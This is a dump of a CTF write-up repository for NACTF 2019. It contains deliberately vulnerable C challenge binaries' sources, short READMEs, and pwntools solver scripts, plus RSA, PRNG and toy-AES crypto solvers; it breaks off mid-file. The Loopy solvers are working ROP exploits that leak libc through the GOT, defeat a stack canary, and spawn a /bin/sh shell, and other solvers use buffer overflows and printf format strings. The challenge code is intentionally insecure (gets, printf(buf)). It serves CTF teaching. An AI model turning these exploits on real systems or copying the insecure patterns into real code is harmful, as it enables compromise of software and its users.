-------------------------------------------------------------------------------- 1 | #include 2 | 3 | void win() 4 | { 5 | printf("You win!\n"); 6 | char buf[256]; 7 | FILE* f = fopen("./flag.txt", "r"); 8 | if (f == NULL) 9 | { 10 | puts("flag.txt not found - ping us on discord if this is happening on the shell server\n"); 11 | } 12 | else 13 | { 14 | fgets(buf, sizeof(buf), f); 15 | printf("flag: %s\n", buf); 16 | } 17 | } 18 | 19 | void vuln() 20 | { 21 | char buf[16]; 22 | printf("Type something>"); 23 | gets(buf); 24 | printf("You typed %s!\n", buf); 25 | } 26 | 27 | int main() 28 | { 29 | /* Disable buffering on stdout */ 30 | setvbuf(stdout, NULL, _IONBF, 0); 31 | 32 | vuln(); 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/BufferOverflow #1/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | 5 | context.log_level = 'critical' 6 | 7 | ELF = context.binary = './bufover-1' 8 | p = process(ELF) 9 | # p = remote('shell.2019.nactf.com', 31462) 10 | 11 | # gdb.attach(p) 12 | 13 | # p.recvuntil('Type something>') 14 | 15 | # We are using the latest version of pwntools for Python 3, 16 | # where p32() returns bytes instead of a string, 17 | # but we need to send the payload as a string, 18 | # so we have to decode it. 19 | # .decode('latin') is one of the decoding options that work: 20 | payload = ( 21 | 'A' * 28 22 | + p32(context.binary.symbols['win']).decode('latin') 23 | ) 24 | 25 | # NB: .stream(), .recvall() etc. also return bytes in the latest pwntools. 26 | 27 | p.sendlineafter('Type something>', payload) 28 | print(p.stream().decode('latin')) 29 | p.close() # Optional 30 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/BufferOverflow #2/README.md: -------------------------------------------------------------------------------- 1 | # BufferOverflow #2 2 | 3 | ## Problem 4 | 5 | > The close cousin of a website for "Question marked as duplicate" - part 3!
6 | Can you control the arguments to `win()` and get the flag?
7 | Connect at `shell.2019.nactf.com:31184` 8 | 9 | [bufover-2](bufover-2) 10 | 11 | [bufover-2.c](bufover-2.c) 12 | 13 | ## Hints 14 | 15 | > - How are arguments passed to a function? 16 | 17 | ## Solution 18 | 19 | This time, we need to pass 2 arguments into `win()`, which we can see in the source code. We add them to our buffer overflow payload from [BufferOverflow #1](../BufferOverflow%20%231). 20 | 21 | [Python script](solver.py) 22 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/BufferOverflow #2/bufover-2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/NACTF/Binary Exploitation/BufferOverflow #2/bufover-2 -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/BufferOverflow #2/bufover-2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void win(long long arg1, int arg2) 5 | { 6 | if (arg1 != 0x14B4DA55 || arg2 != 0xF00DB4BE) 7 | { 8 | puts("Close, but not quite."); 9 | exit(1); 10 | } 11 | 12 | printf("You win!\n"); 13 | char buf[256]; 14 | FILE* f = fopen("./flag.txt", "r"); 15 | if (f == NULL) 16 | { 17 | puts("flag.txt not found - ping us on discord if this is happening on the shell server\n"); 18 | } 19 | else 20 | { 21 | fgets(buf, sizeof(buf), f); 22 | printf("flag: %s\n", buf); 23 | } 24 | } 25 | 26 | void vuln() 27 | { 28 | char buf[16]; 29 | printf("Type something>"); 30 | gets(buf); 31 | printf("You typed %s!\n", buf); 32 | } 33 | 34 | int main() 35 | { 36 | /* Disable buffering on stdout */ 37 | setvbuf(stdout, NULL, _IONBF, 0); 38 | 39 | vuln(); 40 | return 0; 41 | } 42 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/BufferOverflow #2/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | 5 | context.binary = './bufover-2' 6 | 7 | p = process(context.binary.path) 8 | # p = remote('shell.2019.nactf.com', 31184) 9 | 10 | arg1 = 0x14B4DA55 11 | arg2 = 0xF00DB4BE 12 | 13 | p.recvuntil('Type something>') # An alternative to using sendlineafter() 14 | 15 | payload = ( 16 | b'A' * 28 17 | + p32(context.binary.symbols['win']) 18 | + b'A' * 4 19 | + p64(arg1) 20 | + p32(arg2) 21 | ) 22 | 23 | # In order to avoid using .decode(), 24 | # we can directly use sendline() with a byte argument. 25 | p.sendline(payload) 26 | 27 | print(p.recvall().decode('L1')) 28 | p.close() 29 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Format #0/README.md: -------------------------------------------------------------------------------- 1 | # Format #0 2 | 3 | ## Problem 4 | 5 | > Someone didn't tell Chaddha not to give user input as the first argument to `printf()` - use it to leak the flag!
6 | Connect at `shell.2019.nactf.com:31782` 7 | 8 | [format-0](format-0) 9 | 10 | [format-0.c](format-0.c) 11 | 12 | ## Hints 13 | 14 | > - Note the `f` in `printf` 15 | 16 | ## Solution 17 | 18 | This is a simple [format string vulnerability](https://en.wikipedia.org/wiki/Uncontrolled_format_string). We can use the `%x` format token to print data from the call stack in order to leak the flag. 19 | 20 | [Python script](solver.py) 21 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Format #0/flag.txt: -------------------------------------------------------------------------------- 1 | flag{test_flag} 2 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Format #0/format-0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/NACTF/Binary Exploitation/Format #0/format-0 -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Format #0/format-0.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void vuln(char* flag) 5 | { 6 | char buf[64]; 7 | printf("Type something>"); 8 | fgets(buf, sizeof(buf), stdin); 9 | printf("You typed: "); 10 | printf(buf); 11 | } 12 | 13 | int main() 14 | { 15 | /* Disable buffering on stdout */ 16 | setvbuf(stdout, NULL, _IONBF, 0); 17 | 18 | char flag[256]; 19 | FILE* f = fopen("./flag.txt", "r"); 20 | if (f == NULL) 21 | { 22 | puts("flag.txt not found - ping us on discord if this is happening on the shell server\n"); 23 | exit(1); 24 | } 25 | else 26 | { 27 | fgets(flag, sizeof(flag), f); 28 | } 29 | vuln(flag); 30 | 31 | return 0; 32 | } 33 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Format #0/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | 5 | p = process('./format-0') 6 | # p = remote('shell.2019.nactf.com', 31782) 7 | 8 | payload = '' 9 | 10 | # The flag is 16 chars (including new line) so we loop that many bytes: 11 | for i in range(31, 35): 12 | payload = '%' + str(i) + '$x' + payload 13 | p.sendlineafter('Type something>', payload) 14 | 15 | p.recvuntil(': ') 16 | 17 | # We use -3 instead of -1 to also remove the newline character, 18 | # which is taken literally as "\n". 19 | # We use 3 instead of 2 because there is 20 | # an extra junk character at the beginning: 21 | leak = str(p.recv())[3:-3] # Convert from bytes to string without decoding. 22 | 23 | # We need to reverse the flag because the bytes are reversed: 24 | flag = bytes.fromhex(leak).decode('utf-8')[::-1] 25 | 26 | print(flag) 27 | p.close() 28 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Format #1/README.md: -------------------------------------------------------------------------------- 1 | # Format #1 2 | 3 | ## Problem 4 | 5 | > printf can do more than just read memory... can you change the variable?
6 | Connect at `nc shell.2019.nactf.com 31560` 7 | 8 | [format-1](format-1) 9 | 10 | [format-1.c](format-1.c) 11 | 12 | ## Hints 13 | 14 | > - Check a list of `printf` conversion specifiers 15 | 16 | ## Solution 17 | 18 | The `%n` format token commands `printf()` to write the number of bytes formatted to an address stored on the stack. This can be used to write arbitrary data to arbitrary locations. In the challenge, we need to use it to set the value of the `num` variable to `42`. 19 | 20 | [Python script](solver.py) 21 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Format #1/format-1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/NACTF/Binary Exploitation/Format #1/format-1 -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Format #1/format-1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | void win() 5 | { 6 | char flag[256]; 7 | FILE* f = fopen("./flag.txt", "r"); 8 | if (f == NULL) 9 | { 10 | puts("flag.txt not found - ping us on discord if this is happening on the shell server\n"); 11 | exit(1); 12 | } 13 | else 14 | { 15 | fgets(flag, sizeof(flag), f); 16 | puts(flag); 17 | } 18 | } 19 | 20 | void vuln(int* num) 21 | { 22 | char buf[64]; 23 | printf("Type something>"); 24 | fgets(buf, sizeof(buf), stdin); 25 | printf("You typed: "); 26 | printf(buf); 27 | } 28 | 29 | int main() 30 | { 31 | /* Disable buffering on stdout */ 32 | setvbuf(stdout, NULL, _IONBF, 0); 33 | 34 | int num = 0; 35 | 36 | vuln(&num); 37 | 38 | if (num == 42) 39 | { 40 | puts("You win!"); 41 | win(); 42 | } 43 | else 44 | { 45 | printf("%d != 42, try again", num); 46 | } 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Format #1/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | 5 | # p = remote('shell.2019.nactf.com', 31560) 6 | elf = ELF('./format-1') 7 | p = elf.process() 8 | 9 | p.recv() 10 | 11 | payload = 'A' * 42 + '%24$n' 12 | 13 | p.sendline(payload) 14 | p.recvuntil('You typed: ') 15 | print(p.recv().strip()) 16 | p.close() 17 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Loopy #0/README.md: -------------------------------------------------------------------------------- 1 | # Loopy #0 2 | 3 | ## Problem 4 | 5 | > This program is quite short, but has got `printf` and `gets` in it! This *shouldn't* be too hard, right?
6 | Connect at `nc shell.2019.nactf.com 31283` 7 | 8 | [loopy-0](loopy-0) 9 | 10 | [loopy-0.c](loopy-0.c) 11 | 12 | [libc.so.6](libc.so.6) 13 | 14 | ## Solution 15 | 16 | This challenge is called `Loopy` because we need to call `vuln()` twice. The first time, we leak the [Global Offset Table (GOT)](http://bottomupcs.sourceforge.net/csbu/x3824.htm) value of `printf()`. The second time, we use that knowledge to call `system("/bin/sh")`. 17 | 18 | [Python script](solver.py) 19 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Loopy #0/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/NACTF/Binary Exploitation/Loopy #0/libc.so.6 -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Loopy #0/loopy-0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/NACTF/Binary Exploitation/Loopy #0/loopy-0 -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Loopy #0/loopy-0.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void vuln() 4 | { 5 | char buf[64]; 6 | fputs("Type something>", stdout); 7 | gets(buf); 8 | fputs("You typed: ", stdout); 9 | printf(buf); 10 | } 11 | 12 | int main() 13 | { 14 | /* Disable buffering on stdout */ 15 | setvbuf(stdout, NULL, _IONBF, 0); 16 | 17 | vuln(); 18 | 19 | return 0; 20 | } 21 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Loopy #0/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | 5 | # NB: 6 | # Running loopy-0 while in the same dir as libc.so.6 might cause issues, 7 | # since it would try to use this instead of the libc library of your system. 8 | 9 | context.binary = './loopy-0' 10 | # p = remote('shell.2019.nactf.com', 31283) 11 | # libc = ELF('./libc.so.6') 12 | p = process(context.binary.path) 13 | libc = ELF('/usr/lib32/libc.so.6') 14 | 15 | printf_got = context.binary.got['printf'] 16 | printf_plt = context.binary.plt['printf'] 17 | vuln = context.binary.symbols['vuln'] 18 | 19 | p.recvuntil('Type something>') 20 | 21 | payload = ( 22 | 'A' * 76 23 | + p32(printf_plt).decode('L1') 24 | + p32(vuln).decode('L1') 25 | + p32(printf_got).decode('L1') # L1 is an alias for latin-1 / latin. 26 | ) 27 | p.sendline(payload) 28 | 29 | print(p.recvuntil(p32(printf_got))) 30 | leak = p.recv(4) 31 | printf_libc = u32(leak) 32 | print('printf@libc: ', hex(printf_libc)) 33 | 34 | libc.address = printf_libc - libc.symbols['printf'] 35 | bin_sh = next(libc.search(b'/bin/sh')) 36 | system = libc.symbols['system'] 37 | 38 | payload = ( 39 | 'A' * 76 40 | + p32(system).decode('L1') 41 | + 'AAAA' 42 | + p32(bin_sh).decode('L1') 43 | ) 44 | p.sendline(payload) 45 | p.recv() 46 | 47 | p.interactive() 48 | p.close() 49 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Loopy #1/README.md: -------------------------------------------------------------------------------- 1 | # Loopy #1 2 | 3 | ## Problem 4 | 5 | > Same program as Loopy #0, but someone's turned on the stack protector now!
6 | Connect at `nc shell.2019.nactf.com 31732` 7 | 8 | [loopy-1](loopy-1) 9 | 10 | [loopy-1.c](loopy-1.c) 11 | 12 | [libc.so.6](libc.so.6) 13 | 14 | ## Hints 15 | 16 | > - You will need to call `printf` quite a few times
17 | > - What happens when the stack canary check fails? 18 | 19 | ## Solution 20 | 21 | This challenge is similar to [Loopy #0](../Loopy%20%230), with the addition of a [stack canary](https://ctf101.org/binary-exploitation/stack-canaries/). If the program detects that the canary appears to be modified, a function called `__stack_chk_fail()` is called, which leads to the termination of the program. There are several ways to bypass stack canaries. The approach we use is to overwrite the value at `__stack_chk_fail()`'s GOT with the `ret` ROP gadget in order to render it useless. 22 | 23 | [Python script](solver.py) 24 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Loopy #1/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/NACTF/Binary Exploitation/Loopy #1/libc.so.6 -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Loopy #1/loopy-1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SababaSec/ctf-writeups/8f2361ab646218c567f6f742437ca8a5b43ddc5e/2019/NACTF/Binary Exploitation/Loopy #1/loopy-1 -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Loopy #1/loopy-1.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void vuln() 4 | { 5 | char buf[64]; 6 | fputs("Type something>", stdout); 7 | gets(buf); 8 | fputs("You typed: ", stdout); 9 | printf(buf); 10 | } 11 | 12 | int main() 13 | { 14 | /* Disable buffering on stdout */ 15 | setvbuf(stdout, NULL, _IONBF, 0); 16 | 17 | vuln(); 18 | 19 | return 0; 20 | } 21 | -------------------------------------------------------------------------------- /2019/NACTF/Binary Exploitation/Loopy #1/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | 5 | context.binary = './loopy-1' 6 | p = process('./loopy-1') 7 | libc = ELF('/usr/lib32/libc.so.6') 8 | # p = remote('shell.2019.nactf.com', 31732) 9 | # libc = ELF('./libc.so.6') 10 | 11 | p.recvuntil('Type something>') 12 | 13 | stack_chk_fail_got = context.binary.got['__stack_chk_fail'] 14 | printf_plt = context.binary.plt['printf'] 15 | printf_got = context.binary.got['printf'] 16 | vuln = context.binary.symbols['vuln'] 17 | 18 | # Overwrite address of __stack_chk_fail () GOT 19 | # with ret ROPgadget (0x0804900a) 20 | # to render it useless: 21 | 22 | # Insert address to first 2 bytes of stack_chk_fail_got into 7th param.. 23 | payload = p32(stack_chk_fail_got).decode('L1') 24 | # Insert address to last 2 bytes of stack_chk_fail_got into 8th param. 25 | payload += p32(stack_chk_fail_got + 2).decode('L1') 26 | # Find number of chars to write 900a. 27 | payload += '%7$36866x' # We use printf formatting to pad these characters. 28 | # Write number of chars printed so far (900a) into pointer at 7th param. 29 | payload += '%7$hn' 30 | # Find number of chars to write 10804 since number of chars is already > 804. 31 | payload += '%8$30714x' # We use hn to only write 2 bytes. 32 | # Write number of chars printed so far (10804) into pointer at 8th. 33 | payload += '%8$hn' # But only 0804 will be written because of hn. 34 | # Fill the buffer until return pointer. 35 | payload += 'A' * 44 36 | 37 | # Same as Loopy #1 with exception of 38 | # 80 A's printed instead of 76 39 | # because the stack canary takes up 4 bytes 40 | payload += ( 41 | p32(printf_plt).decode('L1') 42 | + p32(vuln).decode('L1') 43 | + p32(printf_got).decode('L1') 44 | ) 45 | 46 | p.sendline(payload) 47 | 48 | p.recvuntil(p32(printf_got)) 49 | leak = p.recv(4) 50 | printf_libc = u32(leak) 51 | print('printf@libc: ', hex(printf_libc)) 52 | 53 | libc.address = printf_libc - libc.symbols['printf'] 54 | bin_sh = libc.search(b'/bin/sh').__next__() 55 | system = libc.symbols['system'] 56 | 57 | p.recvuntil('Type something>') 58 | payload = ( 59 | 'A' * 80 60 | + p32(system).decode('L1') 61 | + 'AAAA' 62 | + p32(bin_sh).decode('L1') 63 | ) 64 | p.sendline(payload) 65 | 66 | p.interactive() 67 | p.close() 68 | -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Dr. J's Group Test Randomizer Board Problem #1/README.md: -------------------------------------------------------------------------------- 1 | # Dr. J's Group Test Randomizer: Board Problem #1 2 | 3 | ## Problem 4 | 5 | > Dr. J is back with another group test, and he patched his prng so we can't predict the next number based on the previous one! Can still you help Leaf predict the next output of the prng?
6 | `nc shell.2019.nactf.com 31258` 7 | 8 | [rand.c](rand.c) 9 | 10 | ## Hints 11 | 12 | > - So we can't use the output to predict the next number... but I wonder if the numbers will repeat? 13 | 14 | ## Solution 15 | 16 | Our task is to be able to predict the next number for a random number generator which is based on the [middle-square method](https://en.wikipedia.org/wiki/Middle-square_method). Normally, this is trivial since the previous number is the seed for the next random number. However, the implementation here is different since the digits used for the current random number and for the seed to calculate the next one are different. 17 | 18 | Somewhere in the Wikipedia article, there is an important detail which we can use to our advantage: 19 | > If the middle *n* digits are all zeroes, the generator then outputs zeroes forever. If the first half of a number in the sequence is zeroes, the subsequent numbers will be decreasing to zero. While these runs of zero are easy to detect, they occur too frequently for this method to be of practical use. 20 | 21 | Due to the implementation difference, it is possible that the current random number is `0` but the seed is not `0`. However, if we keep on trying, at some point the seed will become `0`, and we can successfully predict the next random number to be `0`. 22 | 23 | [Python script](solver.py) 24 | -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Dr. J's Group Test Randomizer Board Problem #1/rand.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define NUM_CORRECT 4 10 | 11 | uint64_t seed = 0; 12 | 13 | void init_seed() { 14 | uint64_t r1 = (uint64_t) randombytes_random(); 15 | uint64_t r2 = (uint64_t) randombytes_random(); 16 | seed = (r1 << 32) + r2; 17 | } 18 | 19 | uint64_t getDigits(uint64_t number, double start, double end) { 20 | // Return the digits of number from start to end (inclusive) counting from the right. 21 | // For example, getDigits(987654321, 3, 5) = 543 22 | return (number % lround(pow(10, end)))/lround(pow(10, start-1)); 23 | } 24 | 25 | uint64_t nextRand() { 26 | // Keep the 8 middle digits from 5 to 12 inclusive and square. 27 | seed = getDigits(seed, 5, 12); 28 | seed *= seed; 29 | return getDigits(seed, 13, 16); 30 | } 31 | 32 | void print_flag() { 33 | FILE *f = fopen("flag.txt", "r"); 34 | char flag[100]; 35 | fgets(flag, sizeof(flag), f); 36 | printf("%s\n", flag); 37 | return; 38 | } 39 | 40 | const char *messages[NUM_CORRECT] = 41 | { "\nYeah, yeah, one correct guess is easy.\n" 42 | "Enter your second guess:\n> ", 43 | "\nOkay, you're lucky... You won't be able to guess right a third time.\n" 44 | "Enter your third guess:\n> ", 45 | "\nWow. I'll admit I'm impressed. This is the final test. \n" 46 | "Enter your fourth guess:\n> ", 47 | "\nOh no... we're in the endgame now... Here's your flag:\n" 48 | }; 49 | 50 | int main() { 51 | setvbuf(stdout, NULL, _IONBF, 0); 52 | init_seed(); 53 | printf("\nWelcome to Dr. J's Random Number Generator v2! A vulnerability involving " 54 | "predictability of outputs has been patched. \n" 55 | "[r] Print a new random number \n" 56 | "[g] Guess the next four random numbers and receive the flag! \n" 57 | "[q] Quit \n\n"); 58 | char line[100]; 59 | while (true) { 60 | printf("> "); 61 | fgets (line, sizeof(line), stdin); 62 | line[strcspn(line, "\n")] = 0; 63 | 64 | if (!strcmp("r", line)) { 65 | uint64_t r = nextRand(); 66 | printf("%lu\n", r); 67 | } 68 | if (!strcmp("g", line)) { 69 | printf("\nGuess the next four random numbers for a flag! " 70 | "Dr. Strange sees fourteen million six hundred and five possibilies... and you only guess correctly in one. " 71 | "Good luck!\nEnter your first guess:\n> "); 72 | 73 | for (int i = 0; i < NUM_CORRECT; i++) { 74 | uint64_t guess = 0; 75 | fgets (line, sizeof(line), stdin); 76 | sscanf(line, "%lu", &guess); 77 | if (guess == nextRand()) { 78 | printf("%s", messages[i]); 79 | if (i == 3) { 80 | print_flag(); 81 | break; 82 | } 83 | } 84 | else { 85 | printf("That's incorrect. Get out of here!\n"); 86 | break; 87 | } 88 | } 89 | break; 90 | } 91 | if (!strcmp("q", line)) { 92 | printf("\nGoodbye!\n"); 93 | break; 94 | } 95 | } 96 | return 0; 97 | } 98 | -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Dr. J's Group Test Randomizer Board Problem #1/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pwn import * 3 | 4 | 5 | guessed = False 6 | 7 | 8 | def send_zeros(): 9 | r.recvuntil('> ') 10 | for _ in range(4): 11 | r.sendline('0') 12 | res = r.recv().decode('L1') 13 | print(res) 14 | if res[0] == 'T': 15 | return 16 | elif res[0:2] == 'Oh': 17 | guessed = True 18 | print(r.recv().decode('L1')) 19 | 20 | 21 | while not guessed: 22 | r = remote('shell.2019.nactf.com', 31258) 23 | r.recvuntil('> ') 24 | num = 1 25 | while num != 0: 26 | r.sendline('r') 27 | num = int(r.recvline().strip()) 28 | r.recvuntil('> ') 29 | r.sendline('g') 30 | send_zeros() 31 | r.close() 32 | -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Reversible Sneaky Algorithm #0/README.md: -------------------------------------------------------------------------------- 1 | # Reversible Sneaky Algorithm #0 2 | 3 | ## Problem 4 | 5 | > Yavan sent me these really large numbers... what can they mean? He sent me the cipher "c", the private key "d", and the public modulus "n". I also know he converted his message to a number with ascii. For example:
6 | "nactf" --> \x6e61637466 --> 474080310374
7 | Can you help me decrypt his cipher? 8 | 9 | [rsa.txt](rsa.txt) 10 | 11 | ## Hints 12 | 13 | > - Read about RSA at 14 | > - If you're new to RSA, you may want to try this tool:
15 | If you like python, try the pow() function! 16 | 17 | ## Solution 18 | 19 | [Python script](solver.py) 20 | -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Reversible Sneaky Algorithm #0/rsa.txt: -------------------------------------------------------------------------------- 1 | n: 140971369982728290584003929856637011308685429687969594429997821710108459830116393789723684079062708514036299475509430542212659734507429142853158004794834935174746493412962154796160975546005828130717579132438781804174244070129160649779404165370266408790722528108474736698480388956217393838955462967989235557729 2 | d: 3210396717872682205420233842120187670754123682946955455494937957220148561826887372494355836977601850209792589944578254791223196877372140862540829182847721214418314564429696694983379689813325142035328881707722441498876726169675843996078221651180111278667814216844121752144791638682520989591783787929482763483 3 | c: 7597447581111665937753781070914281099248138767561231457808924842755340796976767584904483452403406793827996034815852778012984740739361969304711271790657255334745163889379518040725967970769121270606356380463906882556650693485795903105298437519246733021136433493998710761239540681944709850299154477898517149127 4 | -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Reversible Sneaky Algorithm #0/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | n = 140971369982728290584003929856637011308685429687969594429997821710108459830116393789723684079062708514036299475509430542212659734507429142853158004794834935174746493412962154796160975546005828130717579132438781804174244070129160649779404165370266408790722528108474736698480388956217393838955462967989235557729 3 | d = 3210396717872682205420233842120187670754123682946955455494937957220148561826887372494355836977601850209792589944578254791223196877372140862540829182847721214418314564429696694983379689813325142035328881707722441498876726169675843996078221651180111278667814216844121752144791638682520989591783787929482763483 4 | c = 7597447581111665937753781070914281099248138767561231457808924842755340796976767584904483452403406793827996034815852778012984740739361969304711271790657255334745163889379518040725967970769121270606356380463906882556650693485795903105298437519246733021136433493998710761239540681944709850299154477898517149127 5 | 6 | p = pow(c, d, n) 7 | print(bytes.fromhex(hex(p)[2:]).decode('ascii')) 8 | -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Reversible Sneaky Algorithm #1/README.md: -------------------------------------------------------------------------------- 1 | # Reversible Sneaky Algorithm #1 2 | 3 | ## Problem 4 | 5 | > Lori decided to implement RSA without any security measures like random padding. Must be deterministic then, huh? Silly goose!
6 | She encrypted a message of the form nactf{****} where the redacted flag is a string of 4 lowercase alphabetical characters. Can you decrypt it?
7 | As in the previous problem, the message is converted to a number by converting ascii to hex. 8 | 9 | [ReversibleSneakyAlgorithm.txt](ReversibleSneakyAlgorithm.txt) 10 | 11 | ## Hints 12 | 13 | > - The flag seems pretty short... can you brute-force it?
14 | (Note: By brute-force, we do not mean brute-forcing the flag submission - do not SUBMIT dozens of flags. Brute force on your own computer.) 15 | 16 | ## Solution 17 | 18 | [Python script](solver.py) 19 | -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Reversible Sneaky Algorithm #1/ReversibleSneakyAlgorithm.txt: -------------------------------------------------------------------------------- 1 | n = 22211149480575639993429030519324903433947913532364781040868963328192510711356813047019777682976897694523708823502748768149007288902843985412808705624398873301639600888468250478096471710461804856036409585519537946352413960371213677893523940481424813184421465313214067723492301317054407961642320909213358344993453825109139928083868146685834149311590508677641684185974469669019522897333475910002506624356655715375691861599282035176111228787146595035293770294934083506588432931535561733381730924617763450268288785249430304809062568532772866407535937947253602671915278827388538023000320823892308918791287865032550658101647 2 | e = 65537 3 | c = 17092019895398435490936645877681389522100314381280314137324590582626113380519883878346612680436149571504342956062627199254592419000136198748264157134720216337534802137245374257104787163473593768075381161119603573787923015405105192411372689756878820005036480013443173993126005361536816259899310244534769833694660355126920566669139672444357708161337389888825104348833002955918763849005061351140425567156148202269336347554989169075541289307981444741551677799416273481457219933391047628725337828725080079301570909831609401028488393457876225318163558871115320155827798534306397644894097358075465535794590825299057956641732 -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Reversible Sneaky Algorithm #1/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | n = 22211149480575639993429030519324903433947913532364781040868963328192510711356813047019777682976897694523708823502748768149007288902843985412808705624398873301639600888468250478096471710461804856036409585519537946352413960371213677893523940481424813184421465313214067723492301317054407961642320909213358344993453825109139928083868146685834149311590508677641684185974469669019522897333475910002506624356655715375691861599282035176111228787146595035293770294934083506588432931535561733381730924617763450268288785249430304809062568532772866407535937947253602671915278827388538023000320823892308918791287865032550658101647 3 | e = 65537 4 | c = 17092019895398435490936645877681389522100314381280314137324590582626113380519883878346612680436149571504342956062627199254592419000136198748264157134720216337534802137245374257104787163473593768075381161119603573787923015405105192411372689756878820005036480013443173993126005361536816259899310244534769833694660355126920566669139672444357708161337389888825104348833002955918763849005061351140425567156148202269336347554989169075541289307981444741551677799416273481457219933391047628725337828725080079301570909831609401028488393457876225318163558871115320155827798534306397644894097358075465535794590825299057956641732 5 | 6 | chars = 'abcdefghijklmnopqrstuvwxyz' 7 | 8 | 9 | def solve(): 10 | for w in chars: 11 | for x in chars: 12 | for y in chars: 13 | for z in chars: 14 | flag = 'nactf{' + w + x + y + z + '}' 15 | c2 = pow(int(flag.encode('ascii').hex(), 16), e, n) 16 | 17 | if c == c2: 18 | print(flag) 19 | return 20 | 21 | 22 | solve() 23 | -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Super Duper AES/README.md: -------------------------------------------------------------------------------- 1 | # Super Duper AES 2 | 3 | ## Problem 4 | 5 | > The Advanced Encryption Standard (AES) has got to go. Spencer just invented the Super Duper Advanced Encryption Standard (SDAES), and it's 100% unbreakable. AES only performs up to 14 rounds of substitution and permutation, while SDAES performs 10,000. That's so secure, SDAES doesn't even use a key! 6 | 7 | [cipher.txt](cipher.txt) 8 | 9 | [sdaes.py](sdaes.py) 10 | 11 | ## Hints 12 | 13 | > - Spencer used this video as inspiration for Super Duper AES: 14 | 15 | ## Solution 16 | 17 | We reverse the substitution and permutation tables and the order of steps in the encryption process in order to decode the message. 18 | 19 | [Python script](solver.py) 20 | -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Super Duper AES/cipher.txt: -------------------------------------------------------------------------------- 1 | d59fd3f37182486a44231de4713131d20324fbfe80e91ae48658ba707cb84841972305fc3e0111c753733cf2 -------------------------------------------------------------------------------- /2019/NACTF/Cryptography/Super Duper AES/sdaes.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from binascii import hexlify 3 | 4 | def substitute(hexBlock): 5 | substitutedHexBlock = "" 6 | substitution = [8, 4, 15, 9, 3, 14, 6, 2, 7 | 13, 1, 7, 5, 12, 10, 11, 0] 8 | for hexDigit in hexBlock: 9 | newDigit = substitution[int(hexDigit, 16)] 10 | substitutedHexBlock += hex(newDigit)[2:] 11 | return substitutedHexBlock 12 | 13 | def pad(message): 14 | 